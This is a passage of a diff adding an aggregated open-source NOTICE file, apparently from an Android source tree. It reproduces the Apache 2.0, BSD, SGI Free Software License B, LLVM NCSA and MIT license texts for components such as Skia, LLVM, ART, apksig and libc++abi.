+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+======================================================================
+external/skia/NOTICE
+
+// Copyright (c) 2011 Google Inc. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+=========================================================================
+
+The SKIA library also includes a third-party dependency on a nearly
+verbatim copy of the GLU tessellator source code from SGI's OpenGL Sample
+Implementation at http://oss.sgi.com/projects/ogl-sample/. Per
+http://oss.sgi.com/projects/FreeB/, the code is covered under the SGI
+Free Software License B, version 2.0, a copy of which is included below.
+
+SGI FREE SOFTWARE LICENSE B (Version 2.0, Sept. 18, 2008)
+
+Copyright (C) [dates of first publication] Silicon Graphics, Inc. All
+Rights Reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice including the dates of first publication
+and either this permission notice or a reference to HYPERLINK
+"http://oss.sgi.com/projects/FreeB/"http://oss.sgi.com/projects/FreeB/
+shall be included in all copies or substantial portions of the
+Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL SILICON GRAPHICS, INC. BE LIABLE
+FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
+CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of Silicon Graphics,
+Inc. shall not be used in advertising or otherwise to promote the
+sale, use or other dealings in this Software without prior written
+authorization from Silicon Graphics, Inc.
+
+
+======================================================================
+external/llvm/NOTICE
+
+==============================================================================
+LLVM Release License
+==============================================================================
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2003-2014 University of Illinois at Urbana-Champaign.
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+Copyrights and Licenses for Third Party Software Distributed with LLVM:
+==============================================================================
+The LLVM software contains code written by third parties.  Such software will
+have its own individual LICENSE.TXT file in the directory in which it appears.
+This file will describe the copyrights, license, and restrictions which apply
+to that code.
+
+The disclaimer of warranty in the University of Illinois Open Source License
+applies to all code in the LLVM Distribution, and nothing in any of the
+other licenses gives permission to use the names of the LLVM Team or the
+University of Illinois to endorse or promote products derived from this
+Software.
+
+The following pieces of software have additional or alternate copyrights,
+licenses, and/or restrictions:
+
+Program             Directory
+-------             ---------
+Autoconf            llvm/autoconf
+                    llvm/projects/ModuleMaker/autoconf
+Google Test         llvm/utils/unittest/googletest
+OpenBSD regex       llvm/lib/Support/{reg*, COPYRIGHT.regex}
+pyyaml tests        llvm/test/YAMLParser/{*.data, LICENSE.TXT}
+ARM contributions   llvm/lib/Target/ARM/LICENSE.TXT
+md5 contributions   llvm/lib/Support/MD5.cpp llvm/include/llvm/Support/MD5.h
+
+======================================================================
+art/NOTICE
+
+
+   Copyright (c) 2005-2013, The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+======================================================================
+tools/apksig/LICENSE
+
+
+   Copyright (c) 2016, The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+======================================================================
+external/libcxxabi/NOTICE
+
+==============================================================================
+libc++abi License
+==============================================================================
+
+The libc++abi library is dual licensed under both the University of Illinois
+"BSD-Like" license and the MIT license.  As a user of this code you may choose
+to use it under either license.  As a contributor, you agree to allow your code
+to be used under both.
+
+Full text of the relevant licenses is included below.
+
+==============================================================================
+
+University of Illinois/NCSA
+Open Source License
+
+Copyright (c) 2009-2014 by the contributors listed in CREDITS.TXT
+
+All rights reserved.
+
+Developed by:
+
+    LLVM Team
+
+    University of Illinois at Urbana-Champaign
+
+    http://llvm.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal with
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimers.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimers in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the names of the LLVM Team, University of Illinois at
+      Urbana-Champaign, nor the names of its contributors may be used to
+      endorse or promote products derived from this Software without specific
+      prior written permission.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
+SOFTWARE.
+
+==============================================================================
+
+Copyright (c) 2009-2014 by the contributors listed in CREDITS.TXT
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
